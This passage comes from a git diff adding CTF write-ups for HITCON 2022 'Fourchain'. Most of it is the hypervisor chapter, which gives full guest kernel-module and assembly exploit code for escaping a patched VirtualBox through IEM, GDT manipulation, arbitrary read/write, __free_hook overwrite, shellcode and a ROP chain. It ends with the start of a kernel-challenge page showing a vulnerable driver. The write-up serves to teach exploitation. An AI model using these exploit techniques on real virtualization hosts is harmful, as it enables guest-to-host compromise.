function. The description of the EM component is interesting: + +``` + * The Execution Monitor/Manager is responsible for running the VM, scheduling + * the right kind of execution (Raw-mode, Hardware Assisted, Recompiled or + * Interpreted), and keeping the CPU states in sync. The function + * EMR3ExecuteVM() is the 'main-loop' of the VM, while each of the execution + * modes has different inner loops (emR3RawExecute, emR3HmExecute, and + * emR3RemExecute). + * + * The interpreted execution is only used to avoid switching between + * raw-mode/hm and the recompiler when fielding virtualization traps/faults. + * The interpretation is thus implemented as part of EM. +``` + +This tells us that there are multiple execution modes, one of which is called the Interpreted mode. Indeed, this corresponds to the IEM component, for which the patch adds the two new instructions. Unfortunately, the challenge runs on an Intel CPU with VMX support, meaning that our code is de facto being scheduled for Hardware Assisted execution, the HM component. This means that we somehow must coax the EM into scheduling our code for execution by the IEM. + +Thus began a long and painful journey to ~~Mount Doom~~ IEM. + + +## Of The IEM: Arbitrary Instruction Execution + +Eventually, the R3 EM code will schedule the guest code for execution with an IOCTL request to the R0 component. The R0 entry point function is `VMMR0EntryFast`, where the `VMMR0_DO_HM_RUN` will loop execution of the guest code until halted. +After delving a bit deeper and greedier (for flags), we end up at `hmR0VmxRunGuestCodeNormal`. This function has another loop, in which `hmR0VmxRunGuest` is called to execute guest code in VT-x. More interestingly, the loop also handles VM exits. Upon VM exit, the current vCPU state is dispatched to the proper handler by indexing the global `g_apfnVMExitHandlers` function table. + +At this point we assumed that getting to IEM would probably involve triggering a VM exit and some sorcery. Let's take a look at IEM's description: + +``` + * The interpreted exeuction manager (IEM) is for executing short guest code + * sequences that are causing too many exits / virtualization traps. It will + * also be used to interpret single instructions, thus replacing the selective + * interpreters in EM and IOM. +``` + +According to the description, causing many VM exits could potentially reschedule us to IEM mode and execute a short sequence of instructions. This sounded perfect for our usecase. Let's take a look at the CPUID handler `hmR0VmxExitCpuid`: + +```c +/** + * VM-exit handler for CPUID (VMX_EXIT_CPUID). Unconditional VM-exit. + */ +HMVMX_EXIT_DECL hmR0VmxExitCpuid(PVMCPUCC pVCpu, PVMXTRANSIENT pVmxTransient) +{ + ... + /* + * Get the state we need and update the exit history entry. + */ + ... + + VBOXSTRICTRC rcStrict; + PCEMEXITREC pExitRec = EMHistoryUpdateFlagsAndTypeAndPC(pVCpu, + EMEXIT_MAKE_FT(EMEXIT_F_KIND_EM | EMEXIT_F_HM, EMEXITTYPE_CPUID), + pVCpu->cpum.GstCtx.rip + pVCpu->cpum.GstCtx.cs.u64Base); + if (!pExitRec) + { + /* + * Regular CPUID instruction execution. + */ + ... + } + else + { + /* + * Frequent exit or something needing probing. Get state and call EMHistoryExec. + */ + int rc2 = hmR0VmxImportGuestState(pVCpu, pVmcsInfo, HMVMX_CPUMCTX_EXTRN_ALL); + AssertRCReturn(rc2, rc2); + + Log4(("CpuIdExit/%u: %04x:%08RX64: %#x/%#x -> EMHistoryExec\n", + pVCpu->idCpu, pVCpu->cpum.GstCtx.cs.Sel, pVCpu->cpum.GstCtx.rip, pVCpu->cpum.GstCtx.eax, pVCpu->cpum.GstCtx.ecx)); + + rcStrict = EMHistoryExec(pVCpu, pExitRec, 0); + ... + } +} +``` + +The `EMHistoryUpdateFlagsAndTypeAndPC` is doing the bookkeeping, `IEMExecForExits` is called when a certain threshold (256) of VM exits is reached. `IEMExecForExits` will internally execute a block (4096) of instructions in IEM by calling `IEMExecForExits`. This seemed very promising, consequently a lot of time was spent here trying to get this to work. +Unfortunately, it seems that internally the `EMHistoryUpdateFlagsAndTypeAndPC` is effectively disabled when coming from HM mode. This spelled the end of our "optimizing into IEM" saga. Lots of other VM exit handlers were tested, however none of them yielded any success. + +When trying to trace back under which other circumstances `iemExecOneInner` would be called, I noticed the following: + +```c + /* + * Memory mapped I/O access - emulate the instruction. + */ + case VINF_IOM_R3_MMIO_READ: + case VINF_IOM_R3_MMIO_WRITE: + case VINF_IOM_R3_MMIO_READ_WRITE: + rc = emR3ExecuteInstruction(pVM, pVCpu, "MMIO"); + break; +``` + +For your information, when accessing MMIO the guest will VM exit with `VMX_EXIT_EPT_MISCONFIG` as reason. Sometimes, the kernel code will return to R3 code and return from `VMMR3HmRunGC` with return value `VINF_IOM_R3_MMIO_READ`. The MMIO access is then handled by `emR3HmHandleRC` (excerpt seen above), which will call `iemExecOne/iemExecOneInner`. + +I then searched for `VINF_IOM_R3_MMIO_READ` in the codebase and found that it was used in the code for implementing MMIO for the E1000 network card, which was fortunately used for the VM: + +```c +/** + * Read handler for EEPROM/Flash Control/Data register. + * + * Lower 4 bits come from EEPROM device if EEPROM access has been granted. + * + * @returns VBox status code. + * + * @param pThis The device state structure. + * @param offset Register offset in memory-mapped frame. + * @param index Register index in register array. + * @param mask Used to implement partial reads (8 and 16-bit). + * @thread EMT + */ +static int e1kRegReadEECD(PPDMDEVINS pDevIns, PE1KSTATE pThis, uint32_t offset, uint32_t index, uint32_t *pu32Value) +{ +#ifdef IN_RING3 + uint32_t value = 0; /* Get rid of false positive in parfait. */ + int rc = e1kRegReadDefault(pDevIns, pThis, offset, index, &value); + if (RT_SUCCESS(rc)) + { + if ((value & EECD_EE_GNT) || pThis->eChip == E1K_CHIP_82543GC) + { + /* Note: 82543GC does not need to request EEPROM access */ + /* Access to EEPROM granted -- get 4-wire bits to EEPROM device */ + STAM_PROFILE_ADV_START(&pThis->StatEEPROMRead, a); + PE1KSTATECC pThisCC = PDMDEVINS_2_DATA_CC(pDevIns, PE1KSTATECC); + value |= pThisCC->eeprom.read(); + STAM_PROFILE_ADV_STOP(&pThis->StatEEPROMRead, a); + } + *pu32Value = value; + } + + return rc; +#else /* !IN_RING3 */ + RT_NOREF_PV(pDevIns); RT_NOREF_PV(pThis); RT_NOREF_PV(offset); RT_NOREF_PV(index); RT_NOREF_PV(pu32Value); + return VINF_IOM_R3_MMIO_READ; +#endif /* !IN_RING3 */ +} +``` + +In particular, it looks like if we are currently executing in R0 (which we are by default after a VM exit), then it would return `VINF_IOM_R3_MMIO_READ`, and hence return to R3 and execute the instruction responsible for the EECD MMIO read to be emulated. +The specific register which this function is a callback for, is at `+0x10` of the E1000 MMIO base. + +Alone, this would have not helped much, since it turns out to still only emulate exactly one instruction. +However, we thought maybe now too many VM exits would lead to more instructions being emulated. +Unfortunately, we still could not get that part to work. + +While scouring through the IEM code, the description of `iemExecOneInner` seemed interesting: + +```c +/* + * @return Strict VBox status code. + * @param pVCpu The cross context virtual CPU structure of the calling EMT. + * @param fExecuteInhibit If set, execute the instruction following CLI, + * POP SS and MOV SS,GR. + * @param pszFunction The calling function name. + */ +DECLINLINE(VBOXSTRICTRC) iemExecOneInner(PVMCPUCC pVCpu, bool fExecuteInhibit, const char *pszFunction) +``` + +If the `fExecuteInhibit` flag is set, the instruction following a `cli`, `pop ss` or `mov ss, reg` instruction is executed. What if we place our target instruction right after? +By default, these instructions do not cause a VM exit, they are executed like other normal instructions in HM. Looking into the `mov ss, reg` implementation in IEM, it seemed that loading from memory is also supported: + +```c +/** + * @opcode 0x8e + */ +FNIEMOP_DEF(iemOp_mov_Sw_Ev) +{ + IEMOP_MNEMONIC(mov_Sw_Ev, "mov Sw,Ev"); + + uint8_t bRm; IEM_OPCODE_GET_NEXT_U8(&bRm); + ... + + /* + * If rm is denoting a register, no more instruction bytes. + */ + if ((bRm & X86_MODRM_MOD_MASK) == (3 << X86_MODRM_MOD_SHIFT)) + { + ... + } + else + { + /* + * We're loading the register from memory. The access is word sized + * regardless of operand size prefixes. + */ + IEM_MC_BEGIN(2, 1); + IEM_MC_ARG_CONST(uint8_t, iSRegArg, iSegReg, 0); + IEM_MC_ARG(uint16_t, u16Value, 1); + IEM_MC_LOCAL(RTGCPTR, GCPtrEffDst); + IEM_MC_CALC_RM_EFF_ADDR(GCPtrEffDst, bRm, 0); + IEMOP_HLP_DONE_DECODING_NO_LOCK_PREFIX(); + IEM_MC_FETCH_MEM_U16(u16Value, pVCpu->iem.s.iEffSeg, GCPtrEffDst); + IEM_MC_CALL_CIMPL_2(iemCImpl_load_SReg, iSRegArg, u16Value); + IEM_MC_END(); + } + return VINF_SUCCESS; +} +``` + +By combining all findings so far, it looked like we could finally trigger the custom IEM instructions! +If `mov ss, reg` was causing an MMIO access to the E1000 device at the offset of the EECD register, then it would cause the instruction to be emulated! +We can then place our target instruction immediately after `mov ss, reg` and it will also be emulated! +Some initial testing seemed to confirm this hypothesis, but it also seemed to immediately crash after the `mov ss, reg` instruction. + + +The `iemCImpl_LoadSReg` function handles actually loading and parsing the descriptor we're moving into SS. As the value moved there seems to be actually checked for validity, we'll need to provide a valid value. This can be done either by controlling the value we load from MMIO somehow and having it be valid for SS, or by setting up a valid entry in the Global Descriptor Table (GDT). +The value returned from reading the EECD register is `0x140`. +We first tried to look for another register that would have similar properties (i.e. return `VINF_IOM_R3_MMIO_READ`) and also we could write to, but could not find anything. +Hence, we decided to create a fake Global Descriptor Table Register which points at our own array of GDTs, where entry `0x140` was valid. + +GDTR structure: + +![GDTR format](./img/pseudo_descriptor.svg) + +Segment Selector structure: + +![Segment Selector format](./img/segment_selector.svg) + +The segment selector's index is bit 3 through 15, so we shift our 0x140 right by 3 to get the index, which is 40. We then memcpy the old GDT entries to our own array and copy the one at the current SS index to index 40, which should do the trick. + +Now that we've been enlightened about all this, it is possible to finally reach the vulnerable instructions in IEM. + + +## The Black Gate Opens + +At last, we have arrived at exploitation. +The first action item is to upgrade our current primitives to arbitrary read and write. We have full control over the 64-bit index, achieving arbitrary read and write is just a matter of leaking the address of `Table`. +In order to get the address of `Table`, we simply leaked a pointer to a string in the VBoxVMM.so, calculate its load base and finally add the `Table` offset to it. + +While doing some debugging, we noticed there was a page mapped as RWX. To get RIP control, we leak `fgets` from the GOT and calculate the base of libc and ld (through `dl_find_dso` in libc's GOT). We then simply write shellcode to the RWX page and overwrite `__free_hook` in libc to eventually jump there and get code execution. + +```nasm +.intel_syntax noprefix + +; rdi = idx, rsi = mmio, rdx = curr_gdtr, rcx = fake_gdtr +.global read_table_asm +read_table_asm: + push rbx + sgdt [rdx] + lgdt [rcx] + mov rbx, rdi + mov ss, [rsi] + .byte 0xf, 0x25 + mov rbx, 0x18 + mov ss, rbx + lgdt [rdx] + pop rbx + ret + +; rdi = idx, rsi = mmio, rdx = curr_gdtr, rcx = fake_gdtr, r8 = val +.global write_table_asm +write_table_asm: + push rbx + sgdt [rdx] + lgdt [rcx] + mov rbx, rdi + mov rax, r8 + mov ss, [rsi] + .byte 0xf, 0x27 + mov rbx, 0x18 + mov ss, rbx + lgdt [rdx] + pop rbx + ret +``` + +```c +#include /* Needed by all modules */ +#include /* Needed for KERN_INFO */ + +#include +#include + +#include +#include +#include +#include +#include + +#include "offsets.h" + +#define KERN_WARN KERN_WARNING + +typedef struct gdtr { + uint16_t limit; + uint64_t base; +} __attribute__((packed, aligned(1))) gdtr_t; + +typedef uint64_t gdt_entry; + +gdtr_t fake_gdtr = {}; +gdt_entry fake_gdts[0x100]; + +uint64_t mmio_addr = 0; +static uint64_t table_addr = 0; +static uint64_t libc_base = 0; + +extern uint64_t read_table_asm(uint64_t idx, uint64_t mmio, uint64_t curr_gdtr, uint64_t fake_gdtr); +extern uint64_t write_table_asm(uint64_t idx, uint64_t mmio, uint64_t curr_gdtr, uint64_t fake_gdtr, uint64_t val); + +__attribute__((always_inline)) +static inline uint64_t read_table(uint64_t idx) +{ + uint64_t ret; + gdtr_t curr_gdtr = {}; + uint64_t curr_gdtr_ptr = (uint64_t)&curr_gdtr; + uint64_t fake_ptr = (uint64_t)&fake_gdtr; + ret = read_table_asm(idx, mmio_addr, curr_gdtr_ptr, fake_ptr); + return ret; +} + +__attribute__((always_inline)) +static inline void write_table(uint64_t val, uint64_t idx) +{ + gdtr_t curr_gdtr = {}; + uint64_t curr_gdtr_ptr = (uint64_t)&curr_gdtr; + uint64_t fake_ptr = (uint64_t)&fake_gdtr; + (void)write_table_asm(idx, mmio_addr, curr_gdtr_ptr, fake_ptr, val); +} + +__attribute__((always_inline)) +static inline uint64_t rel_read64(uint64_t offset) +{ + return read_table(offset / 8); +} + +__attribute__((always_inline)) +static inline void rel_write64(uint64_t offset, uint64_t val) +{ + return write_table(val, offset / 8); +} + + +__attribute__((always_inline)) +static inline uint64_t addr_to_offset(uint64_t addr) +{ + uint64_t offset = addr - table_addr; + return offset; +} + +__attribute__((always_inline)) +static inline uint64_t arb_read64(uint64_t addr) +{ + uint64_t offset = addr_to_offset(addr); + return rel_read64(offset); +} + +__attribute__((always_inline)) +static inline void arb_write64(uint64_t addr, uint64_t val) +{ + uint64_t offset = addr_to_offset(addr); + rel_write64(offset, val); +} + +__attribute__((always_inline)) +static inline void arb_write(uint64_t addr, void *buf, size_t num) +{ + size_t i = 0; + uint64_t *buf_vals = (uint64_t *)buf; + for (i = 0; i < ((num+7) / 8); i++) { + arb_write64(addr + i*8, buf_vals[i]); + } +} + +void pwn(void) +{ + printk(KERN_WARN "Entering pwn (0x%llx)\n", &pwn); + + const uint64_t str_table_off = str_addr_binary_off - table_binary_off; + const uint64_t e1000_phys = 0xf0000000; + + uint8_t *e1000_virt = (uint8_t *)(ioremap(e1000_phys, 4096)); + volatile uint32_t *eeprom_addr = (uint32_t *)(e1000_virt+0x10); + + uint32_t init_val = *eeprom_addr; + mmio_addr = (uint64_t)eeprom_addr; + + printk(KERN_WARN "new ss val: 0x%lx\n", init_val); + + gdtr_t curr_gdtr = {}; + + asm volatile( + "sgdt %0" + : "=m"(curr_gdtr) :: "memory" + ); + + printk(KERN_WARN "curr gdtr: 0x%llx (0x%x)\n", curr_gdtr.base, curr_gdtr.limit); + + size_t curr_size = curr_gdtr.limit+1; + memset(fake_gdts, 0, sizeof(fake_gdts)); + memcpy(fake_gdts, curr_gdtr.base, curr_size); + + uint32_t new_ss_idx = init_val / 8; + + fake_gdtr.base = (uint64_t)fake_gdts; + fake_gdtr.limit = (new_ss_idx+1) * 8 - 1; + uint32_t old_ss_idx = 0x18 / 8; + fake_gdts[new_ss_idx] = fake_gdts[old_ss_idx]; + printk(KERN_WARN "fake gdtr: 0x%llx (0x%x)\n", fake_gdtr.base, fake_gdtr.limit); + + uint64_t fgets_addr = rel_read64(fgets_got_off - table_binary_off); + libc_base = fgets_addr - fgets_libc_off; + uint64_t free_hook_addr = libc_base + freehook_libc_off; + printk(KERN_WARN "fgets @ 0x%llx\n", fgets_addr); + printk(KERN_WARN "libc @ 0x%llx\n", libc_base); + printk(KERN_WARN "free_hook @ 0x%llx\n", free_hook_addr); + + uint64_t str_addr = rel_read64(str_table_off); + uint64_t binary_addr = str_addr - str_binary_off; + table_addr = binary_addr + table_binary_off; + printk(KERN_WARN "str @ 0x%llx\n", str_addr); + printk(KERN_WARN "binary @ 0x%llx\n", binary_addr); + printk(KERN_WARN "table @ 0x%llx\n", table_addr); + + uint64_t dl_find_dso_addr = arb_read64(libc_base + dl_find_dso_got); + uint64_t ld_base = dl_find_dso_addr - dl_find_dso_off; + uint64_t rwx_addr = rwx_offset + ld_base; + printk(KERN_WARN "dl_find_dso_addr @ 0x%llx\n", dl_find_dso_addr); + printk(KERN_WARN "ld.so @ 0x%llx\n", ld_base); + printk(KERN_WARN "rwx @ 0x%llx\n", rwx_addr); + + arb_write(rwx_addr, shellcode_pwn, sizeof(shellcode_pwn)); + printk(KERN_WARN "wrote shellcode to rwx region!\n"); + + msleep(1000); + + arb_write64(free_hook_addr, rwx_addr); + return; +} + +int init_module(void) +{ + pwn(); + + return 0; +} + +void cleanup_module(void) +{ +} +``` + +... + +But why is there an RWX page at all? At a first glance, this only seemed to happen with the build used by the challenge authors. In what way does their build differ from our local testing builds, that it would map a page as RWX? +The difference is the `--disable-hardening` flag we used, to make running the VirtualBox binaries from a location different than `/opt/VirtualBox` possible. When this flag is not specified, VirtualBox will call `SUPR3HardenedMain` from `main`. +``` + * This function will perform the integrity checks of the VirtualBox + * installation, open the support driver, open the root service (later), + * and load the DLL corresponding to \a pszProgName and execute its main + * function. +``` + +According to its description, the hardened `main` will do some integrity checks. Eventually, the code will call `supR3HardenedPosixInit`: +```c +DECLHIDDEN(void) supR3HardenedPosixInit(void) +{ + for (unsigned i = 0; i < RT_ELEMENTS(g_aHooks); i++) + { + PCSUPHARDENEDPOSIXHOOK pHook = &g_aHooks[i]; + int rc = supR3HardenedMainPosixHookOne(pHook->pszSymbol, pHook->pfnHook, pHook->ppfnRealResume, pHook->pfnResolve); + if (RT_FAILURE(rc)) + supR3HardenedFatalMsg("supR3HardenedPosixInit", kSupInitOp_Integrity, rc, + "Failed to hook the %s interface", pHook->pszSymbol); + } +} +``` + +The only function registered to be hooked in `g_aHooks` is `dlopen`. The hooking is implemented in `supR3HardenedMainPosixHookOne`, `dlopen` is patched to jump to a callback function instead. Subsequently, a page with RWX permissions is allocated for the hook's trampoline. The permissions for this page are not restricted after everything is in place. + +This is a nice example of how a security feature, in this case restricting which libraries are allowed to be loaded, can result in being considerably more easy to exploit. + +## The Scouring of the Threads + +Before we noticed the RWX page, we went down a deep rabbit hole of how to gain shellcode execution in VirtualBox. +Although we ended up not finishing this part during the CTF, it can be interesting, in case VirtualBox ever ends up fixing the hooked page. + +Since we had arbitrary read/write, it should have been relatively easy to get full code execution. +However, unlike a normal pwn challenge, simply overwriting `__free_hook` with `system`, then causing `free("/bin/sh")` would not be so easy. +It seemed very difficult if not straight up impossible to control the contents of any allocation. +So while it would be easy to get RIP control (e.g. `__free_hook` or any GOT symbol), it would be hard to gain meaningful control, as none of the other registers would likely have any control. +At this point, we noticed that `VBoxVMM.so` imported `setjmp` and `longjmp`. +It seems that there is a pointer to a `jmp_buf` inside the virtual CPU struct that is filled by `setjmp` at the beginning of `IEMExecLots` or `iemExecOneInner`. +Our plan was, to modify the pointer to `jmp_buf` to point to memory we control, then cause the `longjmp` to be hit. +This way, we could control both RIP and RSP, allowing us to ROP! + +Naively, we thought that the virtual CPU struct was at a fixed offset from libc. +Using that, we managed to overwrite the pointer to `jmp_buf` and then we tried to cause the `longjmp`. +It seemed a simple `mov $0, (0)` (i.e. causing a fault) would be enough. +Currently, we are only executing at most two instructions with IEM. +However, the `jmp_buf` pointer was reset at the beginning of every `iemExecOneInner`. +Therefore, we needed to be able to cause multiple instructions (of our choosing) to be emulated with IEM. +Thankfully, the global VM struct has a flag called `fIemExecutesAll` that causes all instructions to be emulated. +Hence, we simply write `1` to that flag and the next time we enter IEM, we will not leave it again. + +With this, we finally managed to trigger the call to `longjmp` with the first argument (i.e. the pointer to `jmp_buf`) controlled by us. +However, we then encountered the next roadblock. With version `2.31` of glibc, it seems that RIP, RSP and RBP of the `jmp_buf` struct are "encrypted" with a secret value. +Fortunately, this value is stored in the TLS section and since it is at a constant offset from libc, we were able to just read the value. +Finally, we managed to get RIP and RSP control, allowing us to ROP. +We built a ROP chain that would call `mprotect` to change a rw memory region (which we previously filled with shellcode) to rwx. + +Unfortunately, when we tried to run the full exploit, we noticed that the address of the virtual CPU struct was not actually at a fixed offset from libc. +During the CTF, it was around this point where we noticed the existing rwx section and hence stopped pursuing this exploitation path. +Still, how could you proceed to exploit this reliably? +First we have to find a way to reliably get a pointer to the virtual CPU struct. +By reading through the code, we noticed that the emulation thread would store a pointer to the virtual CPU struct in its TLS section. +Therefore, we had to find a way to leak the TLS address of the emulation thread. +Scouring glibc, we found out that there is a global linked list of all threads created by `libpthread`. +Furthermore, the wrappers around `libpthread` in use by VirtualBox, would save the name of the thread in an allocation, which was findable by reading the `arg` field of the `struct pthread`. +Combining all of this, we were able to iterate through all threads and find the ones responsible for emulating a virtual CPU: + +```c +void pwn(void) +{ + ... + + uint64_t pthread_freeres_addr = arb_read64(libc_base + libpthread_got); + print_addr(pthread_freeres_addr); + + uint64_t pthread_base = pthread_freeres_addr - libpthread_off; + print_addr(pthread_base); + + uint64_t stack_used = pthread_base + stack_used_off; + print_addr(stack_used); + + const uint64_t start_routine_off = 1600; + const uint64_t fn_cookie_off = 0x30; + const uint64_t list_off = 704; + const uint64_t tid_off = 720; + const uint64_t arg_off = 1608; + const uint64_t name_off = 0x8e0; + + uint64_t tls_bases[2] = {0, 0}; + + printk(KERN_WARN "Iterating over all threads...\n"); + uint64_t curr_list = arb_read64(stack_used); + + while (curr_list != stack_used) { + uint64_t thread_ptr = curr_list - list_off; + uint64_t tid = arb_read64(thread_ptr + tid_off) & 0xffffffff; + uint64_t start_routine = arb_read64(thread_ptr + start_routine_off); + uint64_t next_list = arb_read64(curr_list); + uint64_t arg = arb_read64(thread_ptr + arg_off); + uint64_t name = arb_read64(arg + name_off); + printk(KERN_WARN "Thread %d @ 0x%llx, start @ 0x%llx (0x%llx), next @ 0x%llx\n", tid, thread_ptr, start_routine, arg, next_list); + if (name == 0x0000302d544d45) { + // EMT-0 + tls_bases[0] = thread_ptr; + printk(KERN_WARN "This was EMT-0!\n\n"); + } + else if (name == 0x0000312d544d45) { + // EMT-1 + tls_bases[1] = thread_ptr; + printk(KERN_WARN "This was EMT-1!\n\n"); + } + curr_list = next_list; + } + + ... +} +``` + +We can then follow some pointers and get some more of them: + +```c +uint64_t get_vcpu_addr(uint64_t tls_base) { + uint64_t pUVCpu_addr = arb_read64(tls_base + 0x358); + + print_addr(pUVCpu_addr); + + uint64_t pUVM_addr = arb_read64(pUVCpu_addr); + uint64_t UVM_magic = arb_read64(pUVM_addr); + print_addr(UVM_magic); + uint64_t pVM_addr = arb_read64(pUVCpu_addr + 8); + uint64_t pVCpu_addr = arb_read64(pUVCpu_addr + 16); + + print_addr(pUVM_addr); + print_addr(pVM_addr); + print_addr(pVCpu_addr); + + uint64_t vcpu_addr = pVCpu_addr; + + printk(KERN_WARN "Found vcpu @ 0x%llx\n", vcpu_addr); + return vcpu_addr; +} + +... + +void pwn(void) +{ + ... + + uint64_t vcpu_addr = get_vcpu_addr(tls_bases[0]); + uint64_t vcpu2_addr = get_vcpu_addr(tls_bases[1]); + + ... +} +``` + +Next we prepare our `jmp_buf`, the ROP chain and shellcode: + +```c +void pwn(void) +{ + ... + + uint64_t writable_memory = vcpu_addr - 0x2000; + print_addr(writable_memory); + jmp_buf_addr = writable_memory; + uint64_t fake_stack = writable_memory + 0x100; + uint64_t shellcode_addr = writable_memory + 0x1000; + + uint64_t fn_cookie = arb_read64(tls_bases[0] + fn_cookie_off); + + #define mangle_ptr(ptr) (_rotl((ptr ^ fn_cookie), 0x11)) + + printk(KERN_WARN "Preparing jmp_buf with cookie: 0x%llx\n", fn_cookie); + + uint64_t rop_buf[] = { + shellcode_addr, // rdi + pop_rsi_gadget_off + libc_base, + 0x1000, // rsi + pop_rdx_gadget_off + libc_base, + 0x7, + mprotect_libc_off + libc_base, + shellcode_addr + }; + + struct __jmp_buf jumper = {}; + memset(&jumper, 0x42, sizeof(jumper)); + jumper.__rip = mangle_ptr(pop_rdi_gadget_off + libc_base); + jumper.__rsp = mangle_ptr(fake_stack); + jumper.__rbp = mangle_ptr(fake_stack); + + printk(KERN_WARN "Writing jmp_buf\n"); + arb_write(jmp_buf_addr, &jumper, sizeof(jumper)); + + printk(KERN_WARN "Writing rop_buf\n"); + arb_write(fake_stack, rop_buf, sizeof(rop_buf)); + + printk(KERN_WARN "Writing shellcode_pwn\n"); + arb_write(shellcode_addr, shellcode_pwn, sizeof(shellcode_pwn)); + + ... +} +``` + +Finally, we turn `fIemExecutesAll` on and overwrite the pointer to `jmp_buf`: + +```c +void pwn(void) +{ + ... + + vcpu_jmp_buf = vcpu_addr + 0x738; + vcpu2_jmp_buf = vcpu2_addr + 0x738; + + uint64_t vm_addr = arb_read64(vcpu_addr + 0x4880); + // overwrite fIemExecutesAll + arb_write64(vm_addr + 0xb000, 1 | (1 << 8)); + + // you will see later + do_finalize(); + // overwrite jmp_buf pointer + asm volatile ( + ".byte 0x0f, 0x27\n" + "mov %%rcx, %%rbx\n" + ".byte 0x0f, 0x27\n" + "mov $0, (0)" + :: "a" (jmp_buf_addr), "b" (addr_to_offset(vcpu_jmp_buf) >> 3), "c" (addr_to_offset(vcpu2_jmp_buf) >> 3) : "memory" + ); + + ... +} +``` + +It seems that this was still not enough and with some debugging we found out that it was still not switching to executing everything under IEM. +Somebody figured out, that executin a `ud2` instruction while under IEM would then cause the reschedule to happen and hence executing everything under IEM. +This is what `do_finalize` does: + +```c +__attribute__((always_inline)) +static inline uint64_t do_finalize(void) +{ + uint64_t idx = 0; + uint64_t ret; + gdtr_t curr_gdtr = {}; + uint64_t curr_gdtr_ptr = (uint64_t)&curr_gdtr; + uint64_t fake_ptr = (uint64_t)&fake_gdtr; + ret = finalize(idx, mmio_addr, curr_gdtr_ptr, fake_ptr); + return ret; +} +``` + +And `finalize`: + +```nasm +; rdi = idx, rsi = mmio, rdx = curr_gdtr, rcx = fake_gdtr +.global finalize +finalize: +push rbx +sgdt [rdx] +lgdt [rcx] +mov rbx, rdi +mov ss, [rsi] +ud2 ; will cause a fault to be raised and hence transition to always IEM +mov rbx, 0x18 +mov ss, rbx +lgdt [rdx] +pop rbx +ret +``` + +Lastly, we install a custom IDT (which is similar to the GDT) to have a custom handler for when the `ud2` is executed: + +```c +#include + +gdtr_t fake_idtr = {}; +gdt_entry fake_idts[0x1000]; + +... + +void pwn(void) +{ + ... + + gdtr_t lidt = {}; + asm volatile( + "sidt %0" + : "=m"(lidt) :: "memory" + ); + + size_t lit_size = lidt.limit + 1; + memset(fake_idts, 0, sizeof(fake_idts)); + memcpy(fake_idts, lidt.base, lit_size); + + set_bringup_idt_handler((void*)fake_idts, 6, int50_handler); + fake_idtr.base = fake_idts; + fake_idtr.limit = lidt.limit; + + asm volatile( + "lidt %0" + :: "m"(fake_idtr) : "memory" + ); + + ... + +} + +__attribute__((naked)) +void int50_handler(void) +{ + asm volatile ( + ".byte 0x0f, 0x27\n" + "mov %%rcx, %%rbx\n" + ".byte 0x0f, 0x27\n" + "mov $0, (0)" + :: "a" (jmp_buf_addr), "b" (addr_to_offset(vcpu_jmp_buf) >> 3), "c" (addr_to_offset(vcpu2_jmp_buf) >> 3) : "memory" + ); +} +``` + +After all of this, we finally get our shellcode execution without having to rely on an RWX page provided to us by VirtualBox :). + +## Table of Contents + +- [Prologue](./fourchain-prologue): Introduction +- [Chapter 1: Hole](./fourchain-hole): Using the "hole" to pwn the V8 heap and some delicious Swiss cheese. +- [Chapter 2: Sandbox](./fourchain-sandbox): Pwning the Chrome Sandbox using `Sandbox`. +- [Chapter 3: Kernel](./fourchain-kernel): Chaining the Cross-Cache Cred Change +- **[Chapter 4: Hypervisor](./fourchain-hv) (You are here)** +- [Chapter 5: One for All](./fourchain-fullchain): Uncheesing a Challenge and GUI Troubles +- [Epilogue](./fourchain-epilogue): Closing thoughts diff --git a/HITCON-2022/pwn/fourchain-kernel.html b/HITCON-2022/pwn/fourchain-kernel.html new file mode 100755 index 0000000..30ae817 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-kernel.html @@ -0,0 +1,1843 @@ + + + + + +Fourchain - Kernel | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Fourchain - Kernel

+ +

Authors: pql

+ +

Tags: pwn, kernel

+ +

Points: 321

+ +
+

It’s more krazy in the kernel…

+ +

ssh -p 54321 knote@35.238.182.189 +password: knote

+ +

Resources are limited, please work on local first.

+ +

kernel-39fb8300c4181886fecd27bf4333b58348faf279.zip

+ +

Author: Billy

+
+ +

This year’s HITCON CTF was a lot of fun! Sadly, I could only play during the second half, but I managed to solve a few challenges, including fourchain-kernel.

+ +

This challenge was the third part in the chain: after pwning the renderer process and breaking out of the chromium sandbox, we’re now tasked with getting kernel privileges.

+ +

Like all parts of the fullchain, this was a separate challenge on which you could earn points without completing any other part of the chain.

+ +
+ +

The challenge follows a pretty standard Linux kernel CTF setup: we’re provided a bzImage and the source code of a module that registers a character device, presumably with some vulnerability we have to exploit. Generally, these types of challenges are more about the exploitation than about the vulnerability research, so let’s see what stands out:

+ +
#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/fs.h>
+#include <linux/slab.h>
+#include <linux/uaccess.h>
+#include <linux/miscdevice.h>
+#include <linux/ioctl.h>
+#include <linux/random.h>
+
+#define IOC_MAGIC '\xFF'
+
+#define IO_ADD     _IOWR(IOC_MAGIC, 0, struct ioctl_arg)
+#define IO_EDIT    _IOWR(IOC_MAGIC, 1, struct ioctl_arg)
+#define IO_SHOW    _IOWR(IOC_MAGIC, 2, struct ioctl_arg)
+#define IO_DEL	   _IOWR(IOC_MAGIC, 3, struct ioctl_arg)
+
+struct ioctl_arg
+{
+    uint64_t idx;
+    uint64_t size;
+    uint64_t addr;
+};
+
+struct node
+{
+    uint64_t key;
+    uint64_t size;
+    uint64_t addr;
+};
+
+static struct node *table[0x10];
+static int drv_open(struct inode *inode, struct file *filp);
+static long drv_unlocked_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
+
+
+static struct file_operations drv_fops = {
+    open : drv_open,
+    unlocked_ioctl : drv_unlocked_ioctl
+};
+
+
+static struct miscdevice note_miscdev = {
+    .minor      = 11,
+    .name       = "note2",
+    .fops       = &drv_fops,
+    .mode	= 0666,
+};
+
+static int drv_open(struct inode *inode, struct file *filp){
+    return 0;
+}
+
+
+static long drv_unlocked_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){
+    int ret = 0;
+    int i = 0;
+    uint64_t buf[0x200 / 8];
+    uint64_t addr = 0;
+    uint64_t size = 0;
+    struct ioctl_arg data;
+
+    memset(&data, 0, sizeof(data));
+    memset(buf, 0, sizeof(buf));
+
+    if (copy_from_user(&data, (struct ioctl_arg __user *)arg, sizeof(data))){
+        ret = -EFAULT;
+        goto done;
+    }
+
+    data.idx &= 0xf;
+    data.size &= 0x1ff;
+
+    switch (cmd) {
